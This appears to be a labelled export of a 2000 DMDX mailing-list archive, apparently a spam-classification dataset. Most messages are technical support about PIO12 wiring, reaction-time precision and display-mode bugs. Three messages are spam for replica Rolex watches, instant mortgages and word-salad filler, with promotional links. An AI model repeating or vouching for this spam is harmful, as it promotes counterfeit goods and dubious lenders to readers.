Error","At 12:44 PM 11/13/00 -0800, you wrote: >Greetings! > >I just downloaded DMDX for Windows 98 and am trying to run TimeDX - I >keep getting an error message saying ""DirectInputCreate failed - >DIERR_OLDDIRECTINPUTVERSION(8007047e) - The application requires a new >version of DirectInput"". > >What is DirectInput, and how do I get a new version of it? Thanks for >any help! Apply the DX70ENG.EXE update. http://psy1.psych.arizona.edu/~jforster/dmdx/directx/DX70eng.exe -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight. ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 16:03:31 -0700",[DMDX] Re: Output keywords,"At 03:17 PM 11/13/00 -0700, you wrote: >I'm trying to test the output of a PIO12 card and I'm getting >confused about the relationship between numbers associated with >the Output command and the pins that fire when the command is >used. Suppose I wanted to fire output 0 by itself. Then I fire >output 1, then output 2, each by themselves. What number should >follow the Output command for each of these? Depends what you mean by ""fire"", active low, active high, what? Typically we use active low signals but a lot of other devices expect positive polarity too. The O switch outputs a word to the output ports, to set bit 0 low (all others high) you would use ( uses hexadecimal words instead of decimal which is easier for me to handle when negative logic is being used, esp. when my calculator is at work), bit 1 low would be , (fb, f7, ef, df, bf 7f for the rest of the series), bit 0 high (all others low) o1, bit 1 high o2 (4, 8, 16, 32, 64, 128 for the rest of the series. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight.",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 18:14:37 -0500",[DMDX] Re: Output keywords,"Josh, The PIO12 card outputs a byte (i.e. 8 bits). A single byte can represent decimal values 0 to 255 (256 distinct values) . 10001010 is the binary representation of decimal 138, for example. This is because each binary place represents a power of 2. Thus, a ""1"" in the right-most column represents 2^0, and the left-most represents 2^8 (i.e. 128). Thus, binary 10001010 = base ten 2^7 + 2^3 + 2^1 = 128 + 8 + 2 = 138. If I am not mistaken, firing each output separately should be straightforward: Output bit 0 = 00000001 = 2^ 0 = 1 Output bit 1 = 00000010 = 2^ 1 = 2 Output bit 2 = 00000100 = 2^ 2 = 4 Output bit 3 = 00001000 = 2^ 3 = 8 Output bit 4 = 00010000 = 2^ 4 = 16 Output bit 5 = 00100000 = 2^ 5 = 32 Output bit 6 = 01000000 = 2^ 6 = 64 Output bit 7 = 10000000 = 2^ 7 = 128 Good luck, JK At 03:17 PM 11/13/00 -0700, Josh Cowley wrote: >I'm trying to test the output of a PIO12 card and I'm getting >confused about the relationship between numbers associated with >the Output command and the pins that fire when the command is >used. Suppose I wanted to fire output 0 by itself. Then I fire >output 1, then output 2, each by themselves. What number should >follow the Output command for each of these? > >thanks, >Josh > >-- >Josh Cowley >Department of Philosophy >The University of Arizona >PO Box 210027 >Tucson, AZ 85721 >cowley@u.arizona.edu >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ___________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Nov 2000 16:09:34 -0700",[DMDX] Re: PIO12 Inputs,"At 03:36 PM 11/13/00 -0700, you wrote: >I was looking at the schematic in the TimeDX help file on how to >set up a PIO12 input. I would like to set up a 3 button mouse so >that Button-1 is Neg-response, Button 2 is Pos-repsonse and >Button-3 is VOX. Coming out of the mouse I have 4 wires >(W1,W2,W3,W4). W1-W3 is for each button. When a button1 is >pushed it closes a circuit between W1 and W4. Likewise for >button 2 and 3. As I understand the schematic, I want W1 to >connect W1 to pin 36 (neg-response) W2 to pin 35 (pos-response) >and W3 to pin 33 (VOX). Where do I connect W4? I think it >should be pin 18 (+5v), but in the schematic it looks like you >have a connection to pin 19 (ground) which I don't understand. You want W4 to go to ground, but you also want ""pullup"" resistors on W1, W2, and W3. These pullups are typically 1Kohm, one end goes to the switch and the other goes to +5V. That way when the switch is not closed (the ""normal"" state for NO switches as opposed to NC, normally closed switches) the voltage at the input is +5V, a logic 1, inactive as we use negative logic. When the switch closes the switch sinks all of the current and the input voltage is 0V, logic 0 and active to DMDX. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight. ",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Wed, 15 Nov 2000 17:02:46 +0100",[DMDX] RT-2decimal,"Matt Davis commented to me that he was bemused by the fact that I can get two decimal places on your RTs (e.g. 539.35ms). I don't know how or why but this a fact ! Using TimeDx 2.1.00 I am also getting 3 decimal places for the Time Video Mode Test. As a fact the TimeOut Values and the refersh Interval parameters can be tuned with 3 decimal places. Is that correct ?? In fact for RTs this as no real meaning ! Is ther a way to cut RTs to ms only (no decimal) Thanks to Matt and any body who can help! Jean-Francois ",0,0 Matt Davis ,"DMDX@psy1.psych.arizona.edu, Jean-Francois Nedelec ","Wed, 15 Nov 2000 15:03:09 +0000",[DMDX] Re: RT-2decimal,"At 17:02 15/11/00 +0100, Jean-Francois Nedelec wrote: >Matt Davis commented to me that he was bemused >by the fact that I can get two decimal places on your RTs (e.g. >539.35ms). > >I don't know how or why but this a fact ! > >Using TimeDx 2.1.00 I am also getting 3 decimal places for >the Time Video Mode Test. >As a fact the TimeOut Values and the refersh Interval parameters >can be tuned with 3 decimal places. > >Is that correct ?? > >In fact for RTs this as no real meaning ! >Is ther a way to cut RTs to ms only (no decimal) > >Thanks to Matt and any body who can help! > >Jean-Francois > >Attachment Converted: ""C:\\Mail\\Attachments\\jnedelec36.vcf"" > This is my mistake - I've never had to look at a dmdx version 2 output file before. I don't see any real reason to cut these decimal places - they are not meaningless, they just provide more detail than most people would ever need. If they offend you, Jean-Francois you could just set Excel or SPSS or whatever, to not display any decimal places. Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 Hannah Tate ,DMDX@psy1.psych.arizona.edu,"Wed, 15 Nov 2000 15:55:52 +0600",Justin Timberlake got one,"Do you want a high quality replica? In our online store you can buy replicas of Rolex watches and other brands. They look and feel exactly like the real thing. - We have 20+ different brands in our selection - Buy 2 watches and save 25% on both watches - Save up to 40% compared to the cost of other replicas - Standard Features: * Screw-in crown * Unidirectional turning bezel where appropriate * All the appropriate rolex logos, on crown and dial * Heavy weight Visit us: http://051.kissherfry.com Best regards, Hannah Tate bag you lion me, delete roast hitch . cooke you workday me, swat everyone error . substantial you afro me, baleen innate spaulding . sponsor you escort me, gamecock carborundum autocollimate contraption . picnicker you subliminal me, additive . birefringent you homeward me, ellipsoid myopic ocular . http://051.superhugeyellow.com/rm/ ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 15 Nov 2000 09:53:24 -0700",[DMDX] Re: RT-2decimal,"At 05:02 PM 11/15/00 +0100, you wrote: >Matt Davis commented to me that he was bemused >by the fact that I can get two decimal places on your RTs (e.g. >539.35ms). > >I don't know how or why but this a fact ! > >Using TimeDx 2.1.00 I am also getting 3 decimal places for >the Time Video Mode Test. >As a fact the TimeOut Values and the refersh Interval parameters >can be tuned with 3 decimal places. > >Is that correct ?? Yes. Always had 3 decimal places there. >In fact for RTs this as no real meaning ! No, it has real meaning, that's how long DMDX timed the RT for. DMDX has a _micro_second accurate timer so it can provide times to three decimal places, when I've measured standard deviations for RTs as low as 0.29ms it's reasonable to assume that sub millisecond RTs are going to be useful, not only that but on later hardware that those SDs will drop even further. >Is ther a way to cut RTs to ms only (no decimal) Not yet, but people keep whining about it so I'll stick an option in to suppress it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 15 Nov 2000 14:50:14 -0700",[DMDX] 2.3.01,"Ok, for all the people that don't like the extra precision of DMDX version 2 we have the following new keywords in 2.3.01: Feedback Precision Keyword Parameter and switch to set the feedback RT precision to N decimal places. Default is 2, a value of 0 will print no decimal and no decimal places. Output File Precision Keyword Parameter and switch to set the output file RT precision to N decimal places. Default is 2, a value of 0 will print no decimal and no decimal places. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong.",0,0 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Nov 2000 10:34:46 +1100",[DMDX] Scan lines again,"I am trying to get my machine to run at the fastest refresh rate that I can by altering the number of scan lines. I am running in 640x480, 8 bit colour mode. When I use it seems to work fine. However, if I change the second value to anything but 400, I get the message: SetDisplayMode failed DDERR_INVALID MODE (88760078) Direct Draw does not support the requested mode. This seems odd, because Timedx will happily let me tune vertical retraces for any number of lines I like (and shows very satisfying reductions in refresh times). Can anyone suggest anything? Michael Johnston =============================================== Dr Michael Johnston Research Fellow School of Psychological Science La Trobe University ph: 9479-1736 fax: 9479-1956 email: m.johnston@latrobe.edu.au School homepage: http://www.psy.latrobe.edu.au/",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 15 Nov 2000 21:21:01 -0700",[DMDX] Re: Scan lines again,"At 10:34 AM 11/16/00 +1100, you wrote: >I am trying to get my machine to run at the fastest refresh rate that I >can by altering the number of scan lines. I am running in 640x480, 8 bit >colour mode. When I use it seems to work fine. >However, if I change the second value to anything but 400, I get the message: > >SetDisplayMode failed DDERR_INVALID MODE (88760078) >Direct Draw does not support the requested mode. > >This seems odd, because Timedx will happily let me tune vertical retraces >for any number of lines I like (and shows very satisfying reductions in >refresh times). > >Can anyone suggest anything? If you have stored values in the registry for all possible modes you wish to exploit you must be transposing the unaltered number of scan lines in the video mode specification with the modified number of scan lines. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 15 Nov 2000 22:20:23 -0700",[DMDX] Re: Scan lines again,"At 09:21 PM 11/15/00 -0700, you wrote: > If you have stored values in the registry for all possible modes you > wish to exploit you must be transposing the unaltered number of scan > lines in the video mode specification with the modified number of scan lines. Nope, it's a bug, must've introduced it with the version 2 re-write. TimeDX stores the registry key as x, modified y, original y, colors, refresh and DMDX looks for x, original y, modified y, colors, refresh. 640x400 works because it's actually a valid video mode. I'll fix it tomorrow. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight. ",0,0 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Nov 2000 16:26:39 +1100",[DMDX] Re: Scan lines again,"I am trying to get my machine to run at the fastest refresh rate that I can by altering the number of scan lines. I am running in 640x480, 8 bit colour mode. When I use it seems to work fine. However, if I change the second value to anything but 400, I get the message: SetDisplayMode failed DDERR_INVALID MODE (88760078) Direct Draw does not support the requested mode. This seems odd, because Timedx will happily let me tune vertical retraces for any number of lines I like (and shows very satisfying reductions in refresh times). Can anyone suggest anything? >If you have stored values in the registry for all possible modes you wish to exploit you must be transposing the unaltered number of scan lines in the video mode specification with the modified number of scan lines. I don't think that this is correct. The code I used first was: n1 f60 s6 $ 0 ""Press the footswitch""; $ +1 *""Test""/; $ 0 ""End""; $ This gives the following error message: SetDisplayMode failed DDERR_INVALID MODE (88760078) Direct Draw does not support the requested mode. Then I used this code: n1 f60 s6 $ 0 ""Press the footswitch""; $ +1 *""Test""/; $ 0 ""End""; $ This resulted in DMDX complaining that I had not tuned the relevant vertical retrace values in Timedx, when in fact I had (I had selected 640x480, 8 bit, and entered 380 in the scan lines box). Note that the only difference between these two bits of code is the VideoMode command, the first being , and the second being . I think this addresses your point regarding the transposition of unaltered and modified number of scan lines. It seems that the first format is actually the correct one, because as I pointed out in my first message, does actually work. However, if I use any value other than 400 in the second position, it does not work, and produces the ""SetDisplayMode failed"" message. I have also tried to run these bits of code on 4 different machines, with identical results on all of them. Michael =============================================== Dr Michael Johnston Research Fellow School of Psychological Science La Trobe University ph: 9479-1736 fax: 9479-1956 email: m.johnston@latrobe.edu.au School homepage: http://www.psy.latrobe.edu.au/",0,1 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Nov 2000 16:27:46 +1100",[DMDX] Re: Scan lines again," >> If you have stored values in the registry for all possible modes you >> wish to exploit you must be transposing the unaltered number of scan >> lines in the video mode specification with the modified number of scan lines. > > Nope, it's a bug, must've introduced it with the version 2 > re-write. TimeDX stores the registry key as x, modified y, original y, > colors, refresh and DMDX looks for x, original y, modified y, colors, > refresh. 640x400 works because it's actually a valid video mode. I'll > fix it tomorrow. Thanks for that- accordingly, please ignore the other follow-up message you will have just got. Michael =============================================== Dr Michael Johnston Research Fellow School of Psychological Science La Trobe University ph: 9479-1736 fax: 9479-1956 email: m.johnston@latrobe.edu.au School homepage: http://www.psy.latrobe.edu.au/ ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 16 Nov 2000 16:03:59 +0000",[DMDX] Branching,"Hi. I want to write a script that will branch when subjects make between 40 and 60 percent errors, i.e. when they are responding randomly. Does anyone know how to do this? (I don't want to resort to a hand count....) - Mike BTW - colour problems are because my new machine is doing strange things with DMDX. xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Nov 2000 10:14:54 -0700",[DMDX] Re: Branching,"At 04:03 PM 11/16/00 +0000, you wrote: >Hi. I want to write a script that will branch when subjects make between >40 and 60 percent errors, i.e. when they are responding randomly. Does >anyone know how to do this? (I don't want to resort to a hand count....) Hmm, don't think you can as the error rate counters get reset on any test so you can't perform two tests. I think you'll have to settle for . Why would you want to separate someone with 70% errors from someone that was just responding randomly? Only way I can think of doing it would be to add a keyword that stores the error rate to a counter and that way you could perform two tests against the counter, say in a subroutine. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Dimensions will always be expressed in the least usable term. Velocity, for example, will be expressed in furlongs per fortnight.",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Nov 2000 13:27:25 -0500",[DMDX] Re: PIO / Sound latency slop,"As Jonathan suggested, the Turtle Beach Montego A3DXStream (less than $30.00 direct from Voyetra Turtal Beach http://www.turtlebeach.com ) has solved all of our latency jitter woes. I get an impressive <1 msec variability, measuring the latency between the PIO-12 trigger and the sound pulse to the Neuroscan unit. Definitely within acceptable parameters for our purposes. Since we are now also able to compensate for the latency by entering the observed latency value into TimeDX, (looks to be approx. 4 msec between the CIO/DIO 24 trigger and the half-amplitude rise-time of a 760 Hz tone... haven't tried DigitalVox latency test), we're now solidly in the auditory ERP and startle probe business! My students and I are extremely impressed with how well DMDX is managing our experimental task needs, and are especially impressed with the ease with which these tasks can be programmed. I believe that all of us who use this software owe a great debt of gratitude to Jonathan and Ken Forster, as well as the other faculty and students at the University of Arizona who continue to make the development and support of this remarkable software possible. In some of the threads that I see on this listserv, I think that some lose sight of the fact that we are privileged to use this software, free of charge. Jonathan does yeoman's work in responding to our queries and problems with the software, and the speed of his responsive software updates rivals anything that I have seen with any software programmer and developer at any price (just try to get this kind of turnaround time and useful information from Microsoft). The alternative would be to pay a lot of money for software that ""sucks righteously,"" both in terms of functionality and support. But, the onus for support should not fall solely on Jonathan's shoulders. I encourage all of us to volunteer help and support to our colleagues when we have some insight into a question at hand. It doesn't take that long. best regards, John Kline At 04:16 PM 11/7/00 +0000, j.c.f. wrote: >At 09:58 PM 11/6/00 -0500, you wrote: > >Jonathan, > > > >This is good information, thanks. Since the video in this particular study > >is not as time-critical as the sound, this might be an option. It may be > >more time and cost effective than building speciality equipment, especially > >if we can decrease the jitter to acceptable levels. > > My bet is buying a new audio card (one with hardware buffers on it) is >going to solve all your problems. Hell, even with the SB16 in the testbed >I see variability of less then 1.5ms using the , playing a beep >and looping the output of the sound card to the input. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > Any simple theory will be worded in the most complicated way.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Nov 2000 12:27:38 -0700",[DMDX] DMDX 2.3.02 and TimeDX 2.1.01," So the new version of DMDX correctly deals with display modes that reprogram the number of scan lines basically enabling their use and the new version of TimeDX fixes the Time Video Mode's guess at the maximum number of scan lines to blit when reprogramming the number of scan lines. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 16 Nov 2000 13:17:51 -0700",[DMDX] archive threader," Looks like I've completed the last of the modifications to the listserv archive that I'm going to make, it should be good to go for a decade or so. It now buffers the locations of months so it's significantly faster unless a new post has been made in which case it will be rebuffering everything (currently about 3 seconds of processing) but that should be a rare enough event that it shouldn't be irritating people. Of course, searching speed will not change, that's just a sequential chug through the archive. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 Jean-Francois Nedelec ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Nov 2000 10:17:32 +0100",[DMDX] DMDx-Screen,"I am preparing a note for the nurses who will pass the tests. Is there a way to get the DMDx frame (screen disaplyed when starting DMDx) as an image so that I can comment on each button ?? Thanks Jean-Francois ",0,0 Gareth Gaskell ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Nov 2000 10:04:39 +0000",[DMDX] Re: DMDx-Screen,"At 10:17 17/11/00 +0100, you wrote: >I am preparing a note for the nurses who >will pass the tests. >Is there a way to get the DMDx frame >(screen disaplyed when starting DMDx) >as an image so that I can comment >on each button ?? >Thanks I think there's free software for doing that. You could try searching a freeware site for ""screen capture"". (e.g., Grabbit2). hope this helps, Gareth =========================================================== Gareth Gaskell Department of Psychology University of York Heslington, York YO10 5DD UK Phone: 01904 433187 Fax: 01904 433181 Email: g.gaskell@psych.york.ac.uk Web page: http://www-users.york.ac.uk/~mgg5/ =========================================================== ",0,1 Jonathan David Sigelman ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Nov 2000 16:05:33 -0600","[DMDX] Lost *.ZIL data due to accidently hitting ""NO"" when asked if want to save data","DMDX- Hello. I lost data from a ""*.ZIL"" today. I assume my mistake was to accidently hit ""NO"" when it asked if I want to save the data after the participant was done giving ratings. I was wondering if there was a way to retrieve it. I am thinking the answer is ""No"", but I felt it would not hurt to ask. Also, I was wondering if there is a way to set up DMDX to save the data automatically without having to say ""YES"", I want to save the data? That would be great, and I would be able to avoid the problem of lost data. Also, it would ease my worry that a participant could hit the ""ESC"" button and then hit ""NO"" and lose the data that way. If this automatic save feature is not currently available, could it be something that could be included in an updated version of DMDX? ",0,0 David Amodio ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Nov 2000 16:19:59 -0600","[DMDX] Re: Lost *.ZIL data due to accidently hitting ""NO"" when asked if want to save data","Jon, I don't know of any keyword that would save the data automatically, but it may be worth checking the website for (If you haven't already). Also, I think you probably lost the data. However, it is possible that the data were saved as a temporary file by some name other than .zil. See if any strange files with the appropriate date and time were saved in the file containing the program. Dave At 04:05 PM 11/17/2000 -0600, you wrote: >DMDX- >Hello. I lost data from a ""*.ZIL"" today. I assume my mistake was to >accidently hit ""NO"" when it asked if I want to save the data after the >participant was done giving ratings. I was wondering if there was a way to >retrieve it. I am thinking the answer is ""No"", but I felt it would not >hurt to ask. >Also, I was wondering if there is a way to set up DMDX to save the data >automatically without having to say ""YES"", I want to save the data? That >would be great, and I would be able to avoid the problem of lost >data. Also, it would ease my worry that a participant could hit the ""ESC"" >button and then hit ""NO"" and lose the data that way. >If this automatic save feature is not currently available, could it be >something that could be included in an updated version of DMDX? > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ",0,1 David Amodio ,DMDX@psy1.psych.arizona.edu,"Fri, 17 Nov 2000 16:25:26 -0600","[DMDX] Re: Lost *.ZIL data due to accidently hitting ""NO"" when asked if want to save data","Sorry about that last message -- I thought it was from a person in my lab directly to me... I guess the question is still open to the list. Dave ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 17 Nov 2000 15:44:33 -0700","[DMDX] Re: Lost *.ZIL data due to accidently hitting ""NO"" when asked if want to save data","At 04:05 PM 11/17/00 -0600, you wrote: >DMDX- >Hello. I lost data from a ""*.ZIL"" today. I assume my mistake was to >accidently hit ""NO"" when it asked if I want to save the data after the >participant was done giving ratings. I was wondering if there was a way >to retrieve it. I am thinking the answer is ""No"", but I felt it would not >hurt to ask. It's in job1.zil till you run another job. >Also, I was wondering if there is a way to set up DMDX to save the data >automatically without having to say ""YES"", I want to save the data? That >would be great, and I would be able to avoid the problem of lost >data. Also, it would ease my worry that a participant could hit the ""ESC"" >button and then hit ""NO"" and lose the data that way. >If this automatic save feature is not currently available, could it be >something that could be included in an updated version of DMDX? If you run DMDX from the command line it will automatically save data. An option can be added that will save data automatically too as well. Custom requests like this unless seconded by many other people or at least one other person in the psychology department here are in the hardware donation to the UofA psychology department bracket though. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When things are going well, something will go wrong. ",0,0 Esmeralda ,"DMDX@psy1.psych.arizona.edu, julie@psy1.psych.arizona.edu, daniel@psy1.psych.arizona.edu, freda@psy1.psych.arizona.edu, madeleine@psy1.psych.arizona.edu, gwendolyn@psy1.psych.arizona.edu, john@psy1.psych.arizona.edu","Sun, 19 Nov 2000 15:38:31 -0500",Instant Mortgage Approval," Hi buddy Personal Service. Approval in Minutes. Lenders Compete To Give You The Lowest Rates. Request A Quote Now! http://h78b.net excellentg7890hjhsjkl sbakjs ",1,1 Candice Winkelman ,"DMDX@psy1.psych.arizona.edu, eula@psy1.psych.arizona.edu, luz@psy1.psych.arizona.edu, david@psy1.psych.arizona.edu","Mon, 20 Nov 2000 08:08:43 -0500",u got sags under your eyes?,"it chafe not build on bate in bibliography or dugan ",1,0 Mike Dobbs ,DMDX@psy1.psych.arizona.edu,"Mon, 20 Nov 2000 14:00:38 -0800",[DMDX] PIO vs. Keyboard Input,"I have a relatively simple question. Is a PIO card and separate IO input device necessary for running DMDX? It it possible to simply use a keyboard for the inputs? I've been unable to run the basic TimeDX tests, I suspect because I do not have a PIO card or a separate input device. Any advice would be helpful. Mike Dobbs Senior Project Coordinator Department of Psychology Claremont Graduate University ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Mon, 20 Nov 2000 17:15:38 -0500",[DMDX] Re: PIO vs. Keyboard Input,"A PIO card is not necessary, i.e. DMDX should run just fine without one. You can run it with a keyboard or a mouse, although the polling times might leave something to be desired. A standard joystick (in mode) is a reasonable response box. JK At 02:00 PM 11/20/00 -0800, Mike Dobbs wrote: >I have a relatively simple question. Is a PIO card and separate IO >input device necessary for running DMDX? It it possible to simply use a >keyboard for the inputs? I've been unable to run the basic TimeDX >tests, I suspect because I do not have a PIO card or a separate input >device. Any advice would be helpful. > >Mike Dobbs >Senior Project Coordinator >Department of Psychology >Claremont Graduate University >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ___________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________",0,1 Mike Dobbs ,DMDX@psy1.psych.arizona.edu,"Mon, 20 Nov 2000 14:32:42 -0800",[DMDX] Re: PIO vs. Keyboard Input,"Hi John Thanks for the advice. My next question is how to set up TimeDX (or DMDX for that matter, although I haven't gotten that far) with a keyboard? I want two choices available to respondents, such as ""favorable"" and ""unfavorable"", represented by two keys. Do I still need to run the PIO test in TimeDX? The ""tutorial"" listed on the website, as well as most DMDX documentation I've come across so far, assumes use of a PIO card and special IO input device. Thanks again Mike Dobbs Senior Project Coordinator Department of Psychology Claremont Graduate University ""John P. Kline"" wrote: > > A PIO card is not necessary, i.e. DMDX should run just fine without > one. You can run it with a keyboard or a mouse, although the polling times > might leave something to be desired. A standard joystick (in > mode) is a reasonable response box. > > JK > > At 02:00 PM 11/20/00 -0800, Mike Dobbs wrote: > >I have a relatively simple question. Is a PIO card and separate IO > >input device necessary for running DMDX? It it possible to simply use a > >keyboard for the inputs? I've been unable to run the basic TimeDX > >tests, I suspect because I do not have a PIO card or a separate input > >device. Any advice would be helpful. > > > >Mike Dobbs > >Senior Project Coordinator > >Department of Psychology > >Claremont Graduate University > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > ___________________________________________________________________ > John P. Kline, Ph.D. Office Phone: 850-644-9363 > Assistant Professor Lab Phone: 850-644-2049 > Department of Psychology Fax: 850-644-7739 > Florida State University Mailto:kline@psy.fsu.edu > Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu > ___________________________________________________________________ > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ====================================================================",0,1 Josh Cowley ,DMDX@psy1.psych.arizona.edu,"Mon, 20 Nov 2000 16:24:53 -0700",[DMDX] Re: PIO vs. Keyboard Input,"Mike, I don't think you need to ""set up"" TimeDX to run with a keyboard or mouse. It should detect and use those automatically. However, you can test the keyboard or mouse in TimeDX by running the ""Input Test"" under the Basic Tests menu. You can then choose to test the keyboard or the mouse. If everything is working properly then pushing ""key"" will cause ""key"" to be highlighted. Once you are writing DMDX scripts you should use the or keywords enable responses from the keyboard or mouse. As John mentioned though, you will not get very accurate response times with the keyboard or mouse. Josh Mike Dobbs wrote: > > Hi John > > Thanks for the advice. My next question is how to set up TimeDX (or > DMDX for that matter, although I haven't gotten that far) with a > keyboard? I want two choices available to respondents, such as > ""favorable"" and ""unfavorable"", represented by two keys. Do I still need > to run the PIO test in TimeDX? The ""tutorial"" listed on the website, as > well as most DMDX documentation I've come across so far, assumes use of > a PIO card and special IO input device. > > Thanks again > > Mike Dobbs > Senior Project Coordinator > Department of Psychology > Claremont Graduate University > > ""John P. Kline"" wrote: > > > > A PIO card is not necessary, i.e. DMDX should run just fine without > > one. You can run it with a keyboard or a mouse, although the polling times > > might leave something to be desired. A standard joystick (in > > mode) is a reasonable response box. > > > > JK > > > > At 02:00 PM 11/20/00 -0800, Mike Dobbs wrote: > > >I have a relatively simple question. Is a PIO card and separate IO > > >input device necessary for running DMDX? It it possible to simply use a > > >keyboard for the inputs? I've been unable to run the basic TimeDX > > >tests, I suspect because I do not have a PIO card or a separate input > > >device. Any advice would be helpful. > > > > > >Mike Dobbs > > >Senior Project Coordinator > > >Department of Psychology > > >Claremont Graduate University > > >==================================================================== > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > 'unsubscribe' by itself with no quotes in the body of the email > > > to be removed from the list. The list archive is available here: > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > >==================================================================== > > > > ___________________________________________________________________ > > John P. Kline, Ph.D. Office Phone: 850-644-9363 > > Assistant Professor Lab Phone: 850-644-2049 > > Department of Psychology Fax: 850-644-7739 > > Florida State University Mailto:kline@psy.fsu.edu > > Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu > > ___________________________________________________________________ > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > ==================================================================== > 